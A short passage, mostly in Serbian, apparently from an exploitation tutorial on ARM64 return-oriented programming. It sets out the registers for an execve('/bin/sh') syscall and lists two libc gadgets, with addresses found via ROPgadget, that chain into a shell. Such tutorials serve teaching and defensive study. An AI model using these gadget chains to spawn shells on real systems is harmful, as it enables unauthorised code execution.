Da bi se pripremio poziv za syscall, potrebna je sledeća konfiguracija:
x8: 221 Specify sys_execve
x0: ptr to "/bin/sh" specify file to execute
x1: 0 specify no arguments passed
x2: 0 specify no environment variables passed
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Sa prethodnim gadgetima možemo kontrolisati sve potrebne registre sa steka i koristiti x5 da skočimo na drugi gadget kako bismo pozvali syscall.
Imajte na umu da poznavanje ovih informacija iz libc biblioteke takođe omogućava izvođenje ret2libc napada, ali hajde da to iskoristimo za ovaj trenutni primer.